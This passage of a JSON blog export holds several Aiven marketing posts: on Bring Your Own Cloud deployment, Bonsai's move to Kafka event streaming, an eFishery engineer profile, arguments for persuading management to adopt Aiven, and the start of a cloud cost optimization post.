Your Own Cloud (BYOC). BYOC allows customers to deploy Aiven services directly into their own public cloud account - and enjoy the Aiven service experience across all 11 of the open source services that we provide.\n\n\u003e\"One of the reasons why we moved to Aiven, as opposed to other solutions that we looked at, is that Aiven allowed us to run the services in our own cloud in our own infrastructure” Dups Wijayawardhana, CTO at Supermetrics\n\n## How Bring Your Own Cloud works\n\nAiven’s BYOC connects a customer’s own AWS, Google Cloud or Microsoft Azure VPC to the Aiven platform, making it possible to deploy Aiven services directly to their own cloud account. This means that all compute, storage and networking infrastructure services - and associated costs - remain under a customer’s direct control. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793.png?w=450)\n\nThe managed Aiven experience is identical to a standard Aiven deployment. The Aiven console, CLI, REST API, and Terraform provision and manage services just as they would normally: tasks like scaling a service up or down and performing a version upgrade are as easy in a BYOC deployment as they are otherwise. Aiven also monitors the health of the services, takes regular backups and provides the same 99.99% uptime SLA and security certifications as with standard Aiven services.\n\nTo learn more about how BYOC works and the different options available, please check [the documentation](https://aiven.io/docs/platform/concepts/byoc). \n\nHere are some frequently asked questions about BYOC, together with their answers, of course: \n\n- **How is Aiven prevented from accessing my infrastructure?**\nIn a BYOC deployment, you create a Virtual Private Cloud (VPC) dedicated to Aiven services within each region you want to operate. You control the connectivity between this VPC and your other VPCs. Aiven accesses these dedicated VPCs through a proxy in a DMZ for additional security and control. \n \n- **How does BYOC help me to meet my compliance requirements?**\nIn most cases you can meet your regulatory and compliance requirements by utilizing a standard Aiven deployment or [Enhanced Compliance Environment](https://aiven.io/docs/platform/concepts/enhanced-compliance-env). However, if you have special compliance needs, BYOC gives you more control of the data residency and allows you to layer additional security controls on top of Aiven’s existing controls. \n\n- **Standard Aiven pricing includes networking cost. How about BYOC? Do I have to pay the networking cost?**\nYes, BYOC customers are responsible for all cloud infrastructure related costs. This includes compute, storage and network traffic charges.\n\n- **How can you guarantee SLA when the infrastructure is not directly managed by Aiven?**\nThe self-healing Aiven platform works the same way in BYOC deployments as in standard Aiven deployments. The Aiven SRE team also manages BYOC deployments the same way, with regular health checks, backups, service maintenance and patching. If downtime is caused by factors outside of Aiven’s reasonable control, this is not taken into account when calculating the Monthly Uptime Percentage\n\n- **If Aiven provides a managed service inside my cloud account, what, if any, responsibilities do I have?**\nAiven’s BYOC deployment follows a shared responsibility model. In this model, Aiven and the customer share the responsibility for the availability, security and compliance, and ongoing operation of the solution. Aiven defines the service management and delivery infrastructure, and provides service deployment, management and lifecycle services. We ensure our services are secure and resilient, and we support all services. In a BYOC deployment, you are responsible for setting and managing account and resource permissions, monitoring resource quotas and scalability, maintaining security and compliance of your cloud environment, and ensuring that your services are resilient and tested regularly.\n\n\n## The benefits of Bring Your Own Cloud\n\nBYOC is beneficial for customers who have favorable purchasing agreements for cloud infrastructure, or specific requirements for security and control. For others, the standard Aiven model of deploying services into the Aiven account in the desired cloud and region will generally be the best fit as Aiven takes care of all the costs and complexity of configuring the cloud infrastructure.\n\n### Lower total cost of ownership\n\nDepending on the cloud provider, Aiven’s BYOC can unlock the opportunity to use Cost Savings plans, Committed Use Discounts, and several other billing and pricing features that may enable you to save money on compute, networking and storage infrastructure costs. As you aggregate more spend directly with your provider, you may also be able to accelerate your spend and achieve a higher tier of usage, making you eligible for additional enterprise discounts from the hyper-scale cloud provider. \n\nFor instance, one of our eCommerce customers wanted to optimize their cloud costs by using AWS Cost Savings Plans for their event streaming platform. However, they were concerned about committing both infrastructure and data streaming to a single vendor. By adopting Aiven for Apache Kafka®  and the BYOC deployment model, they were able to achieve 20% cost savings while retaining flexibility and maintaining control over their data. \n\n### Keeping your data under your control\n\n\u003e\"Aiven allowed us to keep control of our data, while enjoying the benefits of a managed service\" Diogo Gomes, Cloud Transformation \u0026 Database Manager at La Redoute\n\nWith BYOC, your data always stays in your own cloud infrastructure, but you don’t need to worry about managing and keeping the data infrastructure up and running. You can layer additional security controls, specific to your region or industry within the cloud provider, on top of Aiven’s existing security controls and compliance standards. \n\nAn Aiven customer in the financial sector was certain they would have to self-manage their data infrastructure to be compliant with regulations. After a careful evaluation of the BYOC deployment model and security features, they were happy to find that they could enjoy the benefits of a managed service while keeping the necessary control of their data. \n\n## Getting started\n\nBYOC deployment option is available to new and existing customers with an enterprise support contract and a minimum monthly spend of \\$5000. It can be deployed on AWS, Google Cloud and Microsoft Azure cloud platforms.  \n\nIf this sounds interesting and you want to learn more, check our \"Achieve lower TCO and keep full control of your data with Aiven’s Bring Your Own Cloud\" [webinar](https://aiven.io/webinar/byoc) or get in touch  [with us](https://aiven.io/contact)\n\n","categories":[{"_key":"72fb424c201b","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"80b8d7cabdcd","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"862e6ea162a5","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-3bbf9b819d5e35e89ea61ffbdb6fcd38874037a2-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-05-31T11:00:00.000Z","related":[{"_key":"3ad6beb66d73","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"ea5ae08d9f04","_ref":"f199e025-baca-4d0a-a3ae-a8a246e01b6d","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Cut Cloud Costs with Aiven’s BYOC Solution"},"slug":{"_type":"slug","current":"/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc"},"subtitle":"Achieve lower TCO and keep full control of your data with Aiven’s Bring Your Own Cloud deployment option","title":"Optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)"}
{"__i18n_lang":"en","_createdAt":"2023-09-13T07:57:35Z","_id":"06af38ab-add6-4fb5-b005-2c4af2118f25","_rev":"h4ancfFTuSnQNBSq3FxYG4","_type":"post","_updatedAt":"2024-11-18T11:53:37Z","authors":[{"_key":"a9bb6c49a932","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Founded in 2016, [Bonsai](https://shopbonsai.ca/) is an e-commerce platform trusted by elite publishers and retailers across North America and Europe. Its discovery commerce technology allows users to purchase a product within the content they love. When the Bonsai product catalog expanded from a couple of thousand products on small Shopify stores to millions of products, receiving constant updates, the company turned to Aiven for an automated, event-driven data architecture on Google Cloud using Aiven's managed services. \n \nAlan Scott, Commercial Account Executive at Aiven, recently spoke to Brent Van Geertruy, Director of Engineering at Bonsai as part of a webinar hosted by C2C, the Google Cloud Customer Community. They talked about the key drivers, challenges and achievements in building data pipelines for Bonsai's millions of data points. Here are some of the extracts from that conversation.\n\n**Alan Scott: Tell us about Bonsai.**\n\n**Brent Van Geertruy:** We’re a tech company providing onsite check out so consumers can buy when purchasing intent is being formed. We use various integration methods like APIs, pre-built UI components and product feeds that power our catalog which currently consists of millions of products from over 400 retailers, including Best Buy. We service partners who provide us with products, partners who are using our catalog, our API or UI product, and we also have customers who view and purchase those products.  \n  \n**Alan Scott: What problem were you trying to solve when you started using Aiven?**\n\n**Brent Van Geertruy:** Over the past couple of years, our product catalogue has grown from a couple of thousand products on small Shopify stores to millions of products. This requires an immense number of updates every day, from price changes to inventory updates.\n \nWe have our own custom dashboard that we built and maintain. It’s used to perform order fulfillment and manage merchants, clients and our product catalogue. A couple of years ago, we often didn’t receive high-quality product information from the smaller merchants. Our internal team had to check every product and manually review everything from product description to color to ensure they aligned with our design. This was simply not scalable or sustainable. \n \nWe initially started researching event-driven systems as we had an extensive monolithic application where importing a product was almost 20 synchronous steps long. One of the first challenges we needed to tackle was image uploads. Every time a product gets ingested, we have to upload the image onto our servers. We couldn’t rely on the merchant image URLs because they often get blocked or won’t allow image manipulation. Imagine a feed of just a thousand products, or even a hundred thousand products! Every time that happened, our entire pipeline would get congested waiting for the image upload to be completed. \n \nWe started using Aiven for Apache Kafka® to make it less synchronous and to take more of an event-driven approach. We are also leveraging Kafka using an Aiven connector to MongoDB for generating feeds. Instead of manually indicating anything has changed to a product and updating a feed, we’re using the MongoDB connector to wait for product changes and automatically move that into our export system. Setting this up through Aiven was easy. And from an infrastructure perspective, it’s great that we can use the Aiven Terraform provider, as that’s how we like to set up all our services.  \n\n![Aiven + Bonsai Social Banner Brent](//cdn.sanity.io/images/sczeoy4w/production/1df4e3532ec0a5c2d59e0fe05b00b7b028e06c6e-1200x628.png)\n\n**Alan Scott: Tell us more about the shift from monolithic to event-driven architecture.**\n \n**Brent Van Geertruy:** Our team has been discussing event-driven architecture for years. It was seen as the holy grail to solve all problems when scaling applications. There was also a lot of buzz about it, especially when Netflix highlighted how they were using it. \n  \nHowever, our application already contained a large amount of logic, was very coupled and synchronous, and there was technical debt from historical experiments dating back five years. This meant that any more extensive reworks were always deprioritized in favor of incoming client customization requests.  \n  \nWe finally started using Kafka because of increased API usage — the product had a clear market fit and we wanted to expand further. As we were able to provide some maturity into our product offering, we could carve out time for tackling technical debt and focusing on reworking larger pieces of our ecosystem. We had several sessions with senior developers to establish what the perfect world would look like, what the bottlenecks were now and if an event-driven approach could resolve them. We chose event-driven but through a transition, not an entire rework from monolith to event. \n  \n**Alan Scott: What were your criteria when you chose Aiven?**\n  \n**Brent Van Geertruy:** We’ve often chosen tools with usage-based billing and always started with minor costs. However, if it relates to our product pipeline, where we’re processing millions of updates daily, this cost quickly balloons. Price transparency was one of the reasons we chose Aiven. Also, Google is our primary cloud provider, so it was really easy to get started on the platform with the Google Cloud integration through Google marketplace. The Aiven team provides excellent support, and we wanted a vendor with expertise outside of Kafka. We also use Aiven for Caching, a managed, in-memory NoSQL database. Getting it from the same provider as Kafka and through our GCP billing makes it much easier. \n\n**Alan Scott: What are your key learnings?**\n\n**Brent Van Geertruy:** The initial proposal was to turn everything into an event-driven system — then we realized how much effort it would take, especially for a start-up. Instead, we started measuring the system, identifying the bottlenecks and tackling them in a more agile way. When you fix one bottleneck, another will often pop up.  \n\nA notable example is when we switched from uploading product images synchronously to using events into an asynchronous way. We solved the problem of images blocking our pipeline but immediately ran into the issue of our product pipeline being unable to handle the incoming products' speed. Essentially, the slowness of uploading product images had kept our pipeline slow and steady. Once we took that out of the equation, other places started to feel the load, which we’ve now also improved. So a big takeaway was, rather than do a significant overhaul, it’s better to tackle it bottleneck by bottleneck, considering the higher-level architecture plan. \n\nCheck you the full webinar: https://aiven.io/webinar/building-real-time-event-streaming-engines \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"f0503c73-74fe-41a3-a080-93a4338dcc9f","_type":"reference"},"ctaText":"Read the blog","previewImage":{"_type":"mainImage","asset":{"_ref":"image-36cfd46a445c71dc7cc3966addb2681b08705da3-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Career Story, Use Case, Apache Kafka Use Case, Aiven for Apache Kafka Example, Aiven for Apache Kafka, Apache Kafka, Google Cloud, C2C","asset":{"_ref":"image-36cfd46a445c71dc7cc3966addb2681b08705da3-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-14T05:27:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"1f58fbb078ac","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Data challenges resulting from expanding product catalog solved with Aiven for Apache Kafka® on Google Cloud","metaImage":{"_type":"mainImage","asset":{"_ref":"image-36cfd46a445c71dc7cc3966addb2681b08705da3-1200x628-png","_type":"reference"}},"metaTitle":"Bonsai Adopts Aiven’s Event-Driven Architecture"},"slug":{"_type":"slug","current":"/blog/bonsai-turns-to-aiven"},"subtitle":"Data challenges resulting from expanding product catalog solved with Aiven for Apache Kafka® on Google Cloud","title":"Bonsai Turns to Aiven for Automated Event-Driven Architecture to Handle Millions of Data Points"}
{"__i18n_lang":"en","_createdAt":"2023-09-11T12:55:59Z","_id":"b70596e2-6544-4413-943e-3cf572972fe0","_rev":"h4ancfFTuSnQNBSq3FxfWe","_type":"post","_updatedAt":"2024-11-18T11:54:40Z","authors":[{"_key":"a9bb6c49a932","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Is a software engineering an art or a science? Arif Rakham, Technical Lead and Senior Software Engineer within the Enterprise Platform Team at eFishery, is convinced that it is both. “Yes of course it is rooted in engineering and computer science, but you need all of your creativity to build something useful,” he explained at a recent Aiven open-source data infrastructure Meetup in Jakarta.\n\nCreating something useful is exactly what eFishery does. It’s a fast-growing, tech-enabled unicorn with a mission to build a sustainable, integrated value chain for Indonesia’s shrimp- and fish-farming businesses — and so strengthen global food security. \n\neFishery has developed an auto-feeding system based on Internet of Things technology, as well as an enterprise platform that includes marketplaces for selling fish and shrimp feed to farmers, fresh fish and shrimp products to B2B consumers, and financial products for fish farmers. \n\n![Social Banner eFishery Arif](//cdn.sanity.io/images/sczeoy4w/production/401adbba6f0e53ec4d6470325609a44b55aa81fa-1200x628.png)\n\n## A passion for open source\nFor an idealist and a passionate promoter of the value of technology and open source, eFishery has been the perfect place for Arif to flex his creativity and utilize his deep knowledge of software design, distributed systems and open source technologies such as PostgreSQL® and Apache Kafka®.\n\nArif’s career trajectory to date is impressive. In addition to working as an Oracle Database Administrator for two years, he has held software engineering roles at private and public organizations. He joined eFishery in early 2023 where he now has responsibilty for leading a team of engineers. \n\nHis team designs, develops and maintains a range of high-quality tools and libraries for internal use at eFishery. He works closely with colleagues throughout the company so that the solutions his team develops meet their immediate needs — while also making sure that they are in line with the company’s technology roadmap and its long-term goals. \n\nAnd because eFishery is an ambitious company with big visions for the future, there’s a lot going on. “We’re driving the technical vision and shaping the direction of our enterprise platform as it continues to grow,” he says. “But we’re also developing individual solutions —we’re constantly working on something new.” \n\n## Developing new solutions\nFor example, Arif is particularly proud of a new solution for eFishery’s Risk and Anti-Fraud team. The service helps the risk team analyze transactions to detect any fraudulent activity. This kind of analysis needs to happen in real time: not just to prevent fraud, but to ensure the customer experience remains as smooth as possible. \n\n“We have lots of systems and solutions, like the Risk and Anti-Fraud service, where downtime would be really bad for our customers — and for us,” says Arif. “We use Odoo, for example, for transaction logging. Anything to do with financial processes needs to be super reliable. We need absolute confidence in it.”\n\nThat’s one of the reasons that Arif’s team uses Aiven to manage PostgreSQL and Apache Kafka on its behalf.\n\n## Building a creative tech team\n“PostgreSQL and Kafka are brilliant open source technologies. PostgreSQL was one of the first open source databases I worked on and, in a previous position, when I had to choose the stack to handle banking use cases of a virtual account generator, I went for PostgreSQL and NodeJS. I’ve also used it to move service platforms from web to mobile apps. But here at eFishery, we’re building a creative tech team. I need vendors like Aiven to keep the data infrastructure running and up to date, so my team can focus on developing the applications that eFishery needs,” he says. \n\nWith a big imagination and a thirst for original thinking, Arif is always on the lookout for disruptive technologies to spark new ideas. “I’m excited about the latest generative AI and I think it’s going to radically change software development,” he says. “I want to create AI-powered apps which make life easier for their users.”\n\nHaving observed his career achievements so far, and his ability to marry creativity with logic, no doubt that’s exactly what he’ll soon be doing. \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"85c26e8ac0e0","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"8c50b7c2-97e9-4dd9-8645-0eeb310fe154","_type":"reference"},"ctaText":"Read the blog","previewImage":{"_type":"mainImage","asset":{"_ref":"image-613f816fe5e6f86577f52332f25e0f820e47b79b-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Career Story, Use Case, Apache Kafka Use Case, Aiven for Apache Kafka Example, Aiven for Apache Kafka, Apache Kafka, Aiven for PostgreSQL, PostgreSQL","asset":{"_ref":"image-613f816fe5e6f86577f52332f25e0f820e47b79b-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-12T05:27:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"1f58fbb078ac","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Arif Rakham, Technical Lead and Senior Software Engineer at eFishery, shares insights into his career path and how he’s built a creative tech team","metaImage":{"_type":"mainImage","asset":{"_ref":"image-613f816fe5e6f86577f52332f25e0f820e47b79b-1200x628-png","_type":"reference"}},"metaTitle":"Aiven Supports eFishery’s Aquaculture Transformation"},"slug":{"_type":"slug","current":"/blog/aiven-helps-software-engineers-at-efishery"},"subtitle":"Arif Rakham, Technical Lead and Senior Software Engineer at eFishery, shares insights into his career path and how he’s built a creative tech team","title":"Aiven helps Software Engineers at eFishery to be Creative and Transform Indonesian Aquaculture"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7aU0u7ICLy7z1A25sdRUHk","_rev":"YWHkZRhDz94HWGkESq9qua","_type":"post","_updatedAt":"2024-09-23T13:27:05Z","authors":[{"_key":"1bMDmEefhWtNoLIkrQTBSA","_ref":"1bMDmEefhWtNoLIkrQTBSA","_type":"reference"}],"body":"Before starting to work for Aiven, I was already an active Aiven user (that’s why I ended up working here). Aiven provided a very good solution to the question: how do I best run the data-oriented background services, such as databases, in a modern, automated way? But it wasn’t always so easy to make everyone else see it the same way. This article is a story about what kind of challenges I faced and what I did about them.\n\nTL;DR: the really hard part is often to get management to accept good solutions. This is especially true when the initiative comes from specialists and the decision is not purely technical. But if you can muster enough good arguments, you can... manage it. (See what I did there?)\n## Wanting to get things done\nParticularly in more established and complex organizations, it may be sometimes very difficult to have everyone agree on how things should be done. Personal factors come into play, there’s pure inertia to deal with, and sometimes also power struggles. All this makes life difficult for people who just want to get things done. \n\nSome managers are trusting and delegate real responsibility. Others are secretly suspicious that developers just want “toys to play with” and “don’t get the big picture”.\n\nAiven is a bit of an oddball. We don’t fit into people’s idea of what a cloud provider is. Aiven doesn’t host its own cloud; instead, Aiven provides a management and compatibility layer that works with multiple cloud providers. \n\nA better way to describe us would perhaps be a cloud management system, managing your cloud providers for you.\n\nWith good enough arguments for the manager level, it’s usually possible to make everyone reach the same conclusion as you already did. Sometimes the best argument is “we already did it and it’s working very well”, but then you need to do a little work to make everyone feel happy about the right solution.\n\n## The story behind the facts\nOne of the tasks in my previous job (with the [City of Helsinki](https://www.hel.fi/helsinki/fi \"City of Helsinki\")) was to produce a CI pipeline and DevOps infrastructure that the development teams could use to provision environments for testing, staging, and production on a self-service basis. The goal was to give developers full control over their environments by putting the appropriate configuration in their Github repositories.\n\nAs the Product Owner, I defined how it should all work and what should get done first. As a bonus, I was also a user of the system, so I experienced the usability at first hand. In addition, I was the tech lead for other development teams, which helped with collecting requirements. The bulk of the actual implementation work was done mainly by our friends at [Anders Innovations](https://anders.com/ \"Anders Innovations\").\n\nNot surprisingly, the technical part was not the hard one. Aiven played very well the role of a safe and efficient data storage layer, and infrastructure was managed centrally using Terraform for both Aiven and the software layer. The latter was run on Kubernetes in GCP (GKE) \u0026 Azure (AKS). \n\nWhy two different cloud providers? Because for production, the only “interoperability” requirement from upper management was to use Azure! So we ran the test environments in GCP where we could see what was going on, and production environments on Azure to make upper management happy. \n\nAiven accommodated to this design neatly by allowing us to run exactly the same kind of database service irrespective of which cloud we were using.\n\nThe hard part was to agree with management and other departments that this was a good setup. I’m not going to go much into detail about what happened in this particular project, but believe me when I tell you that the problems and solutions presented in this article are based on real experience...\n\nI've listed some of the most commonly heard objections, and my responses to them. Feel free to borrow any/all.\n## #1: “But we already have a cloud solution!”\nSometimes big organizations have a vetted cloud provider, probably one of the big ones (AWS, GCP or Azure). All cloud providers offer some kinds of hosted database solutions, so it’s easy to see why from the management point of view it doesn’t make sense to have another cloud provider for databases.\n\nThe sad truth is, the database solutions of big cloud providers are not always very thorough. Nor are they developed for highly specialised needs, such as optimizing performance for certain kinds of data. Doing data services properly is not most cloud providers’ main business, unless it’s some product of their own which is targeted at a specific customer segment. Many cloud databases don’t even offer backups out of the box. And let’s not even mention high availability, smooth failovers, rich health monitoring, and rolling upgrades. \n\nAiven provides all that, and also actually works on the cloud you’re using for other stuff. You can have the data services in the same data center(s) as the software services using them, and in the same private network too.\n\nThe big difference between data services and software services is that well designed software services are throwaway, only causing a couple of cut connections and maybe some cache misses. Data services are actually the most valuable asset of many companies. It’s always devastating to lose all of your data, and sometimes you can’t afford to lose any of it. \n\nAnd it’s not always about server failures. When you lose a lot of data by admin error (a missing WHERE clause is sometimes all it takes), having functionality for proper point-in-time recovery is indispensable. Of course, Aiven provides that for many service types.\n\nSo, data services are not just another kind of services running on the cloud. They are the most valuable thing you have, and they require specialised expertise to run properly. It might make sense for your company to just hire that expertise, but it might also make sense to use a product that has all that working correctly to start with.\n## #2. “It needs to be made easy for accounting”\nMany organisations are ordering all their services from one subcontractor just to make the accounting easier. However, it often creates problems for operations, and developers will also sometimes feel the consequences.\n\nIf your chosen vendor is AWS or GCP, you’re in luck. Aiven services can also be provisioned through the AWS and GCP marketplaces, so you get them billed as part of your main cloud provider expense. They’re more expensive that way, but hey, at least you’re keeping the accountants happy.\n\nIf that doesn’t work for you, just contact our billing. There are a lot of different options for receiving invoices, and maybe we can work out some kind of agreement with whoever usually handles your invoices.\n\n[Aiven’s pricing model](https://aiven.io/pricing \"Pricing page | Aiven website\") is built for predictability. You always know how much your monthly expense will be. So from the budgeting point of view, the only unpredictable factor is whether your service usage will grow in huge proportions so that you need to start using a more beefy plan. But dealing with that is usually a positive problem - more usage usually translates to more cash flow.\n## #3. “They’re just open source databases, so why don’t we just run it by ourselves?”\nThis is actually a pretty valid point! As is the case with all of these open source databases (and other data services too, like Kafka), they are actively trying to make life easier for users and they are pretty easy to run. \n\nOn the other hand, if you’re actually relying on these services, you really need to have people who know what to do when something goes wrong. You also need to prepare for disaster - it doesn’t help to start sorting things out when there are problems. Aiven comes with sensible defaults, and you can get different levels of support from Aiven for your data services.\n\nAiven provides the same software as the upstream open source project, not some customised version of it.  So you can expect everything to work exactly the same if you migrate into or out of Aiven. \n\nIt's also viable to first run your own services for development or prototyping. When the service actually becomes valuable, it’s very easy to switch to a properly managed platform such as Aiven. Once provided by Aiven, the services can also be scaled up and out without service interruptions, and support levels can be improved, too.\n\nThat said, it’s not very expensive to use Aiven directly from the beginning. The hobbyist plans are kind of test versions but already hosted by Aiven. Which way to go about service prototyping is up to you.\n\n## #4. “We don’t want to end up in a vendor lock”\nUnlike most cloud providers, Aiven services are the direct opposite to a vendor lock. We keep our customers by offering good service, not by tricking them to use vendor specific features and extensions. \n\nBeing based on unmodified open source means that the migration path out of Aiven is very easy and for many services you can do this without service interruptions. Also, you can run Aiven provisioned services side by side with your own and duplicate your data to both if you want to be extra sure that getting out is an option.\n\nOn a different level, Aiven helps enormously when you want to get out of other cloud vendor locks. Aiven features seamless migration of services between clouds. When you switch cloud providers, migrating data services is usually the worst and most error prone part of the process. Being able to do that by a simple API call is a lot of effort saved.\n\nEven when you’re not migrating, the ability to run an exactly similar service on multiple clouds helps if you need to run in different environments - as we did in my previous job. Even if you’re not actively planning to move between clouds, having this option available takes away some of the stress of choosing one.\n## #5. “It doesn’t fit in our existing infrastructure for logging / monitoring / metrics / infrastructure-as-code”\nIt might be true, but it might also be just a misconception. Aiven integrates very well with many existing observability and alerting services, and provides good support for IaC (infrastructure-as-code) tools. We have a [Terraform provider](https://github.com/aiven/terraform-provider-aiven \"Aiven Terraform provider | GitHub\"), a [Kubernetes operator](https://aiven.github.io/aiven-operator/ \"Aiven Kubernetes operator | GitHub\"), and a [clean API](https://aiven.io/docs/tools/api) for automating all kinds of setup tasks. So the answer to this of course depends on what you’d like to integrate into, but most likely the blocks are already there.\n\nSometimes it also happens that the building blocks provided by Aiven are better than what you’re currently using. We offer state-of-the-art open source logging and metrics services and you can run them side by side with the old ones. It might well happen that when management sees the new dashboards, they want to switch over immediately.\n## Wrapping up\nWhile the need for Aiven can be worked around with, the other options will probably incur more risks or be more expensive. If properly running a data service is not your primary business but not irrelevant to your success either, you will most likely get better service for less money if you get a managed data solution such as Aiven.\n\nFor the City of Helsinki, the story had a happy ending: we were able to defend our choice of using Aiven in face of all the questions that were raised. \n\nI hope this article provides some talking points that clarify your arguments for adopting Aiven at your company. If you run into something new not discussed here, don’t hesitate to contact me or our solution architects. We will be very interested in discussing the forces involved in your case.\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-637fb0219c35234791950b9103d5470638e1a56f-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-22T00:00:00.000Z","seo":{"metaDescription":"Panu Kalliokoski is here to tell you AND your boss why Aiven is the way to go. Feel free to send the link along to the higher-ups in your company!","metaImage":{"alt":"","asset":{"_ref":"image-637fb0219c35234791950b9103d5470638e1a56f-1567x844-png","_type":"reference"}},"metaTitle":"Why you(r boss) should choose Aiven"},"slug":{"_type":"slug","current":"/blog/why-your-boss-should-choose-aiven"},"subtitle":"Panu Kalliokoski is here to tell you AND your boss why Aiven is the way to go. Feel free to send the link along to the higher-ups in your company!","title":"Why you(r boss) should choose Aiven"}
{"__i18n_lang":"en","_createdAt":"2023-04-18T09:52:05Z","_id":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_rev":"YWHkZRhDz94HWGkESqC6au","_type":"post","_updatedAt":"2024-09-23T13:51:07Z","authors":[{"_key":"b55a6ef8fa97","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"## Why is cloud cost optimization crucial?\n\nAs your organization moves more and more workloads to the cloud, it’s important to understand the impact of successfully and cost-efficiently running your applications in a cloud environment (or even across multiple clouds). Optimizing your cloud deployment isn’t a ‘one-time-thing’ that you can implement in a day or a week and be done with it. Strategies for optimizing your [cloud infrastructure costs](https://landing.aiven.io/optimize-your-cloud-costs-with-aiven-data-platform/) can range from those that are tactical and easily executed in a matter of days, all the way to those that are more strategic and continuous in nature and ultimately support the organization’s bottom line. Streamlining your cloud spend has benefits that go beyond cost reduction. By guiding your technology and infrastructure decisions, it can positively impact developer productivity and help future-proof your tech stack.\n\nEspecially in times of economic uncertainty, development teams and technology organizations are often requested to provide the same level of uptime, security and resiliency for their services while reducing the overall TCO (Total Cost of Ownership). So cloud cost optimization is an increasingly important topic.\n\nNo matter if you’re using the Aiven Cloud Data Platform for the first time or scaling your existing deployments, the following sections will help you. We share best practice for ensuring optimal usage of your cloud resources and a framework to help you ask the right questions and make the appropriate decisions for your overall architecture.\n\n\n::banner[Mike Zimberg, CTO at Digital Asset Research, shares how they achieved a 99.99% uptime, while lowering their managed Apache Kafka® costs by 25% and improving their performance by 10x.]{ctaText=\"Watch fireside chat\" ctaLink=\"https://aiven.io/webinar/cost-optimization-digital-asset-research\" title=\"Learn how DAR optimized their cloud costs with Aiven\" theme=\"dark\"}\n\n\n\n### Cloud cost optimization strategies: immediate steps\n\nWhen you are looking to streamline your cloud spend, there are a few easy steps you can take from the start. Some of these include:\n\n1. Verify that your services are properly sized for the volumes of data you are expecting. Understandably, development teams often want to overprovision some of the services to accommodate spikes in data traffic and mitigate the possibility of downtime. However, correct sizing can have a significant impact on the cost structure. Evaluate whether any unnecessary cloud resources are being utilized and, where appropriate, downsize those to the correct level or terminate any unused resources altogether.\n\n2. Try to minimize any aging, homegrown configuration code and pieces of your infrastructure that are hard to maintain. More often than not, these configuration elements are prone to mistakes and bugs and need both additional governance and extra time to provision and tear down. This results in lower developer productivity through additional man hours and unnecessary work for your developers. The solution? Ensuring that such configurations can be automated and embedded into your tooling. This can be done by using a Terraform provider or making sure that you manage any Kubernetes clusters and resources with the use of a Kubernetes operator for maximum automation and 